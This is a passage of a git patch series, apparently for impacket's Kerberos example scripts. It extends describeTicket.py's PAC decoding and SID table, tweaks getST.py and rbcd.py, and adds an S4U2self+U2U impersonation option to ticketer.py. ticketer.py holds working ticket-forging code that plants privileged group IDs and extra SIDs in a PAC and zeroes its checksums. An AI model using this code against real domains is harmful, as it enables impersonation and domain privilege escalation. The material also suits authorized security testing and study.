RID match + group_name = MsBuiltInGroups.get(sid.split('-')[-1], '') + if group_name: + group_name = f" {group_name}" + extraSids.append("%s%s (%s)" % (sid, group_name, ', '.join(attributes_flags))) + parsed_data['Extra SIDs'] = extraSids # ResourceGroupDomainSid parsing if kerbdata['ResourceGroupDomainSid'] == b'': @@ -360,12 +460,17 @@ def PACparseGroupIds(data): elif infoBuffer['ulType'] == pac.PAC_UPN_DNS_INFO: upn = pac.UPN_DNS_INFO(data) + # UPN PArsing UpnLength = upn['UpnLength'] UpnOffset = upn['UpnOffset'] UpnName = data[UpnOffset:UpnOffset+UpnLength].decode('utf-16-le') + + # DNS Name Parsing DnsDomainNameLength = upn['DnsDomainNameLength'] DnsDomainNameOffset = upn['DnsDomainNameOffset'] DnsName = data[DnsDomainNameOffset:DnsDomainNameOffset + DnsDomainNameLength].decode('utf-16-le') + + # Flag parsing flags = upn['Flags'] attr_flags = [] for flag_lib in Upn_Dns_Flags: @@ -376,15 +481,20 @@ def PACparseGroupIds(data): parsed_data['UPN'] = UpnName parsed_data['DNS Domain Name'] = DnsName + # Depending on the flag supplied, additional data may be supplied if Upn_Dns_Flags.S_SidSamSupplied.name in attr_flags: - upn = pac.UPN_DNS_INFO_FULL(data) # SamAccountName and Sid is also supplied + upn = pac.UPN_DNS_INFO_FULL(data) + # Sam parsing SamNameLength = upn['SamNameLength'] SamNameOffset = upn['SamNameOffset'] SamName = data[SamNameOffset:SamNameOffset+SamNameLength].decode('utf-16-le') + + # Sid parsing SidLength = upn['SidLength'] SidOffset = upn['SidOffset'] Sid = LDAP_SID(data[SidOffset:SidOffset+SidLength]) # Using LDAP_SID instead of RPC_SID (https://github.com/SecureAuthCorp/impacket/issues/1386) + parsed_data["SamAccountName"] = SamName parsed_data["UserSid"] = Sid.formatCanonical() parsed_tuPAC.append({"UpnDns": parsed_data}) @@ -450,6 +560,7 @@ def PACparseGroupIds(data): parsed_data['S4UTransitedServices'] = delegationInfo['S4UTransitedServices'].decode('utf-8') parsed_tuPAC.append({"DelegationInfo": parsed_data}) elif infoBuffer['ulType'] == pac.PAC_ATTRIBUTES_INFO: + # Parsing 2.14 PAC_ATTRIBUTES_INFO attributeInfo = pac.PAC_ATTRIBUTE_INFO(data) flags = attributeInfo['Flags'] attr_flags = [] @@ -462,6 +573,7 @@ def PACparseGroupIds(data): } parsed_tuPAC.append({"Attributes Info": parsed_data}) elif infoBuffer['ulType'] == pac.PAC_REQUESTOR_INFO: + # Parsing 2.15 PAC_REQUESTOR requestorInfo = pac.PAC_REQUESTOR(data) parsed_data = { 'UserSid': requestorInfo['UserSid'].formatCanonical() From d3109e87e4ef32dcf8baba04bf3f76313bfb4080 Mon Sep 17 00:00:00 2001 From: Dramelac Date: Thu, 1 Sep 2022 16:23:58 +0200 Subject: [PATCH 137/163] Add more well-known SID --- examples/describeTicket.py | 56 ++++++++++++++++++++++++++++++-------- 1 file changed, 44 insertions(+), 12 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index be0aaf1ac..6503e9755 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -115,19 +115,33 @@ class Attributes_Flags(Enum): # Builtin known Windows Group MsBuiltInGroups = { - '512': "Domain Admins", - '513': "Domain Users", - '514': "Domain Guests", - '515': "Domain Computers", - '516': "Domain Controllers", - '517': "Cert Publishers", - '518': "Schema Admins", - '519': "Enterprise Admins", - '520': "Group Policy Creator Owners", - '553': "RAS and IAS Servers", + "498": "Enterprise Read-Only Domain Controllers", + "512": "Domain Admins", + "513": "Domain Users", + "514": "Domain Guests", + "515": "Domain Computers", + "516": "Domain Controllers", + "517": "Cert Publishers", + "518": "Schema Admins", + "519": "Enterprise Admins", + "520": "Group Policy Creator Owners", + "521": "Read-Only Domain Controllers", + "522": "Cloneable Controllers", + "525": "Protected Users", + "526": "Key Admins", + "527": "Enterprise Key Admins", + "553": "RAS and IAS Servers", + "571": "Allowed RODC Password Replication Group", + "572": "Denied RODC Password Replication Group", + "S-1-1-0": "Everyone", + "S-1-2-0": "Local", + "S-1-2-1": "Console Logon", + "S-1-3-0": "Creator Owner", + "S-1-3-1": "Creator Group", + "S-1-3-2": "Owner Server", + "S-1-3-3": "Group Server", + "S-1-3-4": "Owner Rights", "S-1-5-1": "Dialup", - "S-1-5-113": "Local account", - "S-1-5-114": "Local account and member of Administrators group", "S-1-5-2": "Network", "S-1-5-3": "Batch", "S-1-5-4": "Interactive", @@ -179,6 +193,24 @@ class Attributes_Flags(Enum): "S-1-5-80": "NT Service", "S-1-5-80-0": "All Services", "S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines", + "S-1-5-113": "Local Account", + "S-1-5-114": "Local Account and member of Administrators group", + "S-1-5-1000": "Other Organization", + "S-1-15-2-1": "All app packages", + "S-1-16-0": "ML Untrusted", + "S-1-16-4096": "ML Low", + "S-1-16-8192": "ML Medium", + "S-1-16-8448": "ML Medium Plus", + "S-1-16-12288": "ML High", + "S-1-16-16384": "ML System", + "S-1-16-20480": "ML Protected Process", + "S-1-16-28672": "ML Secure Process", + "S-1-18-1": "Authentication authority asserted identity", + "S-1-18-2": "Service asserted identity", + "S-1-18-3": "Fresh public key identity", + "S-1-18-4": "Key trust identity", + "S-1-18-5": "Key property MFA", + "S-1-18-6": "Key property attestation", } From 33466dca696dede6fbaf803c346337f4bc4b5c83 Mon Sep 17 00:00:00 2001 From: Dramelac Date: Thu, 1 Sep 2022 17:28:42 +0200 Subject: [PATCH 138/163] Change default type behavior --- examples/describeTicket.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 6503e9755..4fff84814 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -332,9 +332,7 @@ def parse_ccache(args): # iterate over each attribute of the current PAC for attribute in element_type[element_type_name]: value = element_type[element_type_name][attribute] - if isinstance(value, str): - logging.info(" %-26s: %s" % (attribute, value)) - elif isinstance(value, Sequence): + if isinstance(value, Sequence) and not isinstance(value, str): # If the value is an array, print as a multiline view for better readability if len(value) > 0: logging.info(" %-26s: %s" % (attribute, value[0])) @@ -343,7 +341,7 @@ def parse_ccache(args): else: logging.info(" %-26s:" % attribute) else: - logging.debug(f"Unknown data type : {type(value)} > {value}") + logging.info(" %-26s: %s" % (attribute, value)) cred_number += 1 From 68a67bf08fb0cbbabcce506ed5f040a7b73417cb Mon Sep 17 00:00:00 2001 From: Dramelac Date: Thu, 1 Sep 2022 22:11:43 +0200 Subject: [PATCH 139/163] Add Groups decoded field --- examples/describeTicket.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 4fff84814..295e48f0e 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -408,13 +408,19 @@ def PACparseGroupIds(data): parsed_data['Group Count'] = kerbdata['GroupCount'] all_groups_id = [str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['GroupIds'])] - groups = [", ".join(all_groups_id)] + parsed_data['Groups'] = ", ".join(all_groups_id) + groups = [] + unknown_count = 0 # Searching for common group name for gid in all_groups_id: group_name = MsBuiltInGroups.get(gid) if group_name: groups.append(f"({gid}) {group_name}") - parsed_data['Groups'] = groups + else: + unknown_count += 1 + if unknown_count > 0: + groups.append(f"+{unknown_count} Unknown custom group{'s' if unknown_count > 1 else ''}") + parsed_data['Groups (decoded)'] = groups # UserFlags parsing UserFlags = kerbdata['UserFlags'] From 0a5e5e1ecbd2cd374bb76c59fe0a1d03dc5df246 Mon Sep 17 00:00:00 2001 From: Dramelac Date: Wed, 7 Sep 2022 17:05:58 +0200 Subject: [PATCH 140/163] Add credit --- examples/describeTicket.py | 1 + 1 file changed, 1 insertion(+) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 295e48f0e..0503dc349 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -13,6 +13,7 @@ # Authors: # Remi Gascou (@podalirius_) # Charlie Bromberg (@_nwodtuhs) +# Mathieu Calemard du Gardin (@Dramelac_) import logging import sys From 57b7c936785df71533b533953c21e7c537a0545d Mon Sep 17 00:00:00 2001 From: Shutdown Date: Thu, 8 Sep 2022 12:43:06 +0200 Subject: [PATCH 141/163] Simplifying the process a bit, and improving output --- examples/getST.py | 18 +++--------------- 1 file changed, 3 insertions(+), 15 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index b9a44bbc8..30146fc1b 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -457,8 +457,6 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) if self.__options.u2u: - logging.info("Combining S4U2self with U2U") - logging.info("TGT session key: %s" % hexlify(sessionKey.contents).decode()) opts.append(constants.KDCOptions.renewable_ok.value) opts.append(constants.KDCOptions.enc_tkt_in_skey.value) @@ -488,7 +486,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) logging.debug('Final TGS') print(tgsReq.prettyPrint()) - logging.info('Requesting S4U2self') + logging.info('Requesting S4U2self%s' % ('+U2U' if self.__options.u2u else '')) message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, kdcHost) @@ -689,21 +687,11 @@ def run(self): # Still no TGT userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) logging.info('Getting TGT for user') - if self.__options.u2u and self.__password: - # 1. calculating the NT hash for the user password - # 2. Using it to call getKerberosTGT and obtain a ticket with an RC4_HMAC session key - # 3. the RC4_HMAC session key can then be used for SPN-less RBCD abuse (session key set as new password of the user between S4U2self and S4U2proxy) - logging.info("Requesting TGT with etype RC4") - self.__nthash = hexlify(string_to_key(23, self.__password, '').contents).decode() - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, - unhexlify(self.__lmhash), unhexlify(self.__nthash), - self.__aesKey, - self.__kdcHost) - else: - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) + logging.debug("TGT session key: %s" % hexlify(sessionKey.contents).decode()) # Ok, we have valid TGT, let's try to get a service ticket if self.__options.impersonate is None: From d8b0809d0616503c4226887b603965026e26431b Mon Sep 17 00:00:00 2001 From: Shutdown Date: Thu, 8 Sep 2022 12:43:46 +0200 Subject: [PATCH 142/163] Printing ticket session key --- examples/describeTicket.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 0503dc349..8fcebb430 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -223,10 +223,15 @@ def parse_ccache(args): for creds in ccache.credentials: logging.info('Parsing credential[%d]:' % cred_number) - TGS = creds.toTGS() - # sessionKey = hexlify(TGS['sessionKey'].contents).decode('utf-8') - decodedTicket = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] + rawTicket = creds.toTGS() + decodedTicket = decoder.decode(rawTicket['KDC_REP'], asn1Spec=TGS_REP())[0] + + # Printing the session key + sessionKey = hexlify(rawTicket['sessionKey'].contents).decode('utf-8') + logging.info("%-30s: %s" % ("Ticket Session Key", sessionKey)) + + # Beginning the parsing of the ticket logging.info("%-30s: %s" % ("User Name", creds['client'].prettyPrint().split(b'@')[0].decode('utf-8'))) logging.info("%-30s: %s" % ("User Realm", creds['client'].prettyPrint().split(b'@')[1].decode('utf-8'))) spn = creds['server'].prettyPrint().split(b'@')[0].decode('utf-8') From 1534e4496511b4f1ac00224e2f9b994a8b5a87e1 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Fri, 9 Sep 2022 12:43:17 +0200 Subject: [PATCH 143/163] Handled SID not found in LDAP error --- examples/rbcd.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/examples/rbcd.py b/examples/rbcd.py index 0521bc39e..f29f7d6b6 100755 --- a/examples/rbcd.py +++ b/examples/rbcd.py @@ -371,8 +371,10 @@ def get_allowed_to_act(self): logging.info('Accounts allowed to act on behalf of other identity:') for ace in sd['Dacl'].aces: SID = ace['Ace']['Sid'].formatCanonical() - SamAccountName = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())[1] - logging.info(' %-10s (%s)' % (SamAccountName, SID)) + SidInfos = self.get_sid_info(ace['Ace']['Sid'].formatCanonical()) + if SidInfos: + SamAccountName = SidInfos[1] + logging.info(' %-10s (%s)' % (SamAccountName, SID)) else: logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty') except IndexError: From 5ff0c134e394ecb767678afbfa3a9e601d51b9f4 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Wed, 14 Sep 2022 17:54:41 +0200 Subject: [PATCH 144/163] Adding -impersonate flag to ingest S4U2self+U2U TGT --- examples/ticketer.py | 451 ++++++++++++++++++++++++++++++------------- 1 file changed, 314 insertions(+), 137 deletions(-) diff --git a/examples/ticketer.py b/examples/ticketer.py index c7d8422fa..d3232f1f7 100755 --- a/examples/ticketer.py +++ b/examples/ticketer.py @@ -50,10 +50,12 @@ import logging import random import string +import struct import sys from calendar import timegm from time import strptime from binascii import unhexlify +from six import b from pyasn1.codec.der import encoder, decoder from pyasn1.type.univ import noValue @@ -64,7 +66,7 @@ from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \ SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD from impacket.examples import logger -from impacket.krb5.asn1 import AS_REP, TGS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart, EncTGSRepPart +from impacket.krb5.asn1 import AS_REP, TGS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart, EncTGSRepPart, AD_IF_RELEVANT from impacket.krb5.constants import ApplicationTagNumbers, PreAuthenticationDataTypes, EncryptionTypes, \ PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \ KERB_NON_KERB_CKSUM_SALT @@ -77,6 +79,12 @@ from impacket.krb5.types import KerberosTime, Principal from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS +from impacket.krb5 import constants, pac +from impacket.krb5.asn1 import AP_REQ, TGS_REQ, Authenticator, seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1 +from impacket.krb5.crypto import _HMACMD5, _AES256CTS, string_to_key +from impacket.krb5.kerberosv5 import sendReceive +from impacket.krb5.types import Ticket +from impacket.winregistry import hexdump class TICKETER: def __init__(self, target, password, domain, options): @@ -84,6 +92,8 @@ def __init__(self, target, password, domain, options): self.__target = target self.__domain = domain self.__options = options + self.__tgt = None + self.__tgt_session_key = None if options.spn: spn = options.spn.split('/') self.__service = spn[0] @@ -250,6 +260,7 @@ def createBasicTicket(self): tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(lmhash), unhexlify(nthash), None, self.__options.dc_ip) + self.__tgt, self.__tgt_cipher, self.__tgt_session_key = tgt, cipher, sessionKey if self.__domain == self.__server: kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] else: @@ -368,152 +379,309 @@ def createBasicTicket(self): return kdcRep, pacInfos + + def getKerberosS4U2SelfU2U(self): + tgt = self.__tgt + cipher = self.__tgt_cipher + sessionKey = self.__tgt_session_key + kdcHost = self.__options.dc_ip + + decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + # Extract the ticket from the TGT + ticket = Ticket() + ticket.from_asn1(decodedTGT['ticket']) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) + + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') + + seq_set(authenticator, 'cname', clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + if logging.getLogger().level == logging.DEBUG: + logging.debug('AUTHENTICATOR') + print(authenticator.prettyPrint()) + print('\n') + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service + # requests a service ticket to itself on behalf of a user. The user is + # identified to the KDC by the user's name and realm. + clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + S4UByteArray = struct.pack('> 32 - - # Let's adjust username and other data - validationInfo['Data']['LogonDomainName'] = self.__domain.upper() - validationInfo['Data']['EffectiveName'] = self.__target - # Our Golden Well-known groups! :) - groups = self.__options.groups.split(',') - validationInfo['Data']['GroupIds'] = list() - validationInfo['Data']['GroupCount'] = len(groups) - - for group in groups: - groupMembership = GROUP_MEMBERSHIP() - groupId = NDRULONG() - groupId['Data'] = int(group) - groupMembership['RelativeId'] = groupId - groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED - validationInfo['Data']['GroupIds'].append(groupMembership) - - # Let's add the extraSid - if self.__options.extra_sid is not None: - extrasids = self.__options.extra_sid.split(',') - if validationInfo['Data']['SidCount'] == 0: - # Let's be sure user's flag specify we have extra sids. - validationInfo['Data']['UserFlags'] |= 0x20 - validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY() - for extrasid in extrasids: - validationInfo['Data']['SidCount'] += 1 - - sidRecord = KERB_SID_AND_ATTRIBUTES() - - sid = RPC_SID() - sid.fromCanonical(extrasid) - - sidRecord['Sid'] = sid - sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED - - # And, let's append the magicSid - validationInfo['Data']['ExtraSids'].append(sidRecord) + encTicketPart = EncTicketPart() + + flags = list() + flags.append(TicketFlags.forwardable.value) + flags.append(TicketFlags.proxiable.value) + flags.append(TicketFlags.renewable.value) + if self.__domain == self.__server: + flags.append(TicketFlags.initial.value) + flags.append(TicketFlags.pre_authent.value) + encTicketPart['flags'] = encodeFlags(flags) + encTicketPart['key'] = noValue + encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype'] + + if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value: + encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)]) + elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value: + encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)]) else: - validationInfo['Data']['ExtraSids'] = NULL + encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)]) + + encTicketPart['crealm'] = self.__domain.upper() + encTicketPart['cname'] = noValue + encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value + encTicketPart['cname']['name-string'] = noValue + encTicketPart['cname']['name-string'][0] = self.__target + + encTicketPart['transited'] = noValue + encTicketPart['transited']['tr-type'] = 0 + encTicketPart['transited']['contents'] = '' + encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) + encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) + # Let's extend the ticket's validity a lil bit + encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) + encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) + encTicketPart['authorization-data'] = noValue + encTicketPart['authorization-data'][0] = noValue + encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value + encTicketPart['authorization-data'][0]['ad-data'] = noValue + + # Let's locate the KERB_VALIDATION_INFO and Checksums + if PAC_LOGON_INFO in pacInfos: + data = pacInfos[PAC_LOGON_INFO] + validationInfo = VALIDATION_INFO() + validationInfo.fromString(pacInfos[PAC_LOGON_INFO]) + lenVal = len(validationInfo.getData()) + validationInfo.fromStringReferents(data, lenVal) + + aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ')) + + unixTime = self.getFileTime(aTime) + + kerbdata = KERB_VALIDATION_INFO() + + kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff + kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 + + # Let's adjust username and other data + validationInfo['Data']['LogonDomainName'] = self.__domain.upper() + validationInfo['Data']['EffectiveName'] = self.__target + # Our Golden Well-known groups! :) + groups = self.__options.groups.split(',') + validationInfo['Data']['GroupIds'] = list() + validationInfo['Data']['GroupCount'] = len(groups) + + for group in groups: + groupMembership = GROUP_MEMBERSHIP() + groupId = NDRULONG() + groupId['Data'] = int(group) + groupMembership['RelativeId'] = groupId + groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + validationInfo['Data']['GroupIds'].append(groupMembership) + + # Let's add the extraSid + if self.__options.extra_sid is not None: + extrasids = self.__options.extra_sid.split(',') + if validationInfo['Data']['SidCount'] == 0: + # Let's be sure user's flag specify we have extra sids. + validationInfo['Data']['UserFlags'] |= 0x20 + validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY() + for extrasid in extrasids: + validationInfo['Data']['SidCount'] += 1 + + sidRecord = KERB_SID_AND_ATTRIBUTES() + + sid = RPC_SID() + sid.fromCanonical(extrasid) + + sidRecord['Sid'] = sid + sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + + # And, let's append the magicSid + validationInfo['Data']['ExtraSids'].append(sidRecord) + else: + validationInfo['Data']['ExtraSids'] = NULL - validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() - pacInfos[PAC_LOGON_INFO] = validationInfoBlob + validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() + pacInfos[PAC_LOGON_INFO] = validationInfoBlob - if logging.getLogger().level == logging.DEBUG: - logging.debug('VALIDATION_INFO after making it gold') - validationInfo.dump() - print ('\n') - else: - raise Exception('PAC_LOGON_INFO not found! Aborting') + if logging.getLogger().level == logging.DEBUG: + logging.debug('VALIDATION_INFO after making it gold') + validationInfo.dump() + print ('\n') + else: + raise Exception('PAC_LOGON_INFO not found! Aborting') - logging.info('\tPAC_LOGON_INFO') + logging.info('\tPAC_LOGON_INFO') - # Let's now clear the checksums - if PAC_SERVER_CHECKSUM in pacInfos: - serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) - if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: - serverChecksum['Signature'] = '\x00' * 12 - elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: - serverChecksum['Signature'] = '\x00' * 12 + # Let's now clear the checksums + if PAC_SERVER_CHECKSUM in pacInfos: + serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) + if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: + serverChecksum['Signature'] = '\x00' * 12 + elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: + serverChecksum['Signature'] = '\x00' * 12 + else: + serverChecksum['Signature'] = '\x00' * 16 + pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData() else: - serverChecksum['Signature'] = '\x00' * 16 - pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData() - else: - raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') + raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') - if PAC_PRIVSVR_CHECKSUM in pacInfos: - privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) - privSvrChecksum['Signature'] = '\x00' * 12 - if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: - privSvrChecksum['Signature'] = '\x00' * 12 - elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: + if PAC_PRIVSVR_CHECKSUM in pacInfos: + privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksum['Signature'] = '\x00' * 12 + if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: + privSvrChecksum['Signature'] = '\x00' * 12 + elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: + privSvrChecksum['Signature'] = '\x00' * 12 + else: + privSvrChecksum['Signature'] = '\x00' * 16 + pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData() else: - privSvrChecksum['Signature'] = '\x00' * 16 - pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData() - else: - raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') + raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') - if PAC_CLIENT_INFO_TYPE in pacInfos: - pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE]) - pacClientInfo['ClientId'] = unixTime - pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData() - else: - raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') + if PAC_CLIENT_INFO_TYPE in pacInfos: + pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE]) + pacClientInfo['ClientId'] = unixTime + pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData() + else: + raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') - logging.info('\tPAC_CLIENT_INFO_TYPE') - logging.info('\tEncTicketPart') + logging.info('\tPAC_CLIENT_INFO_TYPE') + logging.info('\tEncTicketPart') if self.__domain == self.__server: encRepPart = EncASRepPart() @@ -529,7 +697,10 @@ def customizeTicket(self, kdcRep, pacInfos): encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) encRepPart['nonce'] = 123456789 encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration) - encRepPart['flags'] = encodeFlags(flags) + flags = [] + for i in encTicketPart['flags']: + flags.append(i) + encRepPart['flags'] = flags encRepPart['authtime'] = str(encTicketPart['authtime']) encRepPart['endtime'] = str(encTicketPart['endtime']) encRepPart['starttime'] = str(encTicketPart['starttime']) @@ -547,7 +718,6 @@ def customizeTicket(self, kdcRep, pacInfos): encRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value encRepPart['sname']['name-string'][1] = self.__server logging.info('\tEncTGSRepPart') - return encRepPart, encTicketPart, pacInfos def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): @@ -745,8 +915,8 @@ def run(self): parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be ' 'created for (default = 500)') parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC') - parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires ' - '(default = 365*10)') + parser.add_argument('-duration', action="store", default = '87600', help='Amount of hours till the ticket expires ' + '(default = 24*365*10)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') @@ -758,6 +928,9 @@ def run(self): group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') + parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self+U2U)' + ' for querying the ST and extracting the PAC, which will be' + ' included in the new ticket') if len(sys.argv)==1: parser.print_help() @@ -809,6 +982,10 @@ def run(self): else: password = options.password + if options.impersonate and not options.request: + logging.error('-impersonate parameter needs to be used along -request') + sys.exit(1) + try: executer = TICKETER(options.target, password, options.domain, options) executer.run() From 22d8dbe03aa090d6af0c82474dc69e16491b38f9 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Fri, 16 Sep 2022 20:27:14 +0200 Subject: [PATCH 145/163] Functional version --- examples/ticketer.py | 57 +++++++++++++++++++++++++++++++++++++++----- 1 file changed, 51 insertions(+), 6 deletions(-) diff --git a/examples/ticketer.py b/examples/ticketer.py index d3232f1f7..4171bb413 100755 --- a/examples/ticketer.py +++ 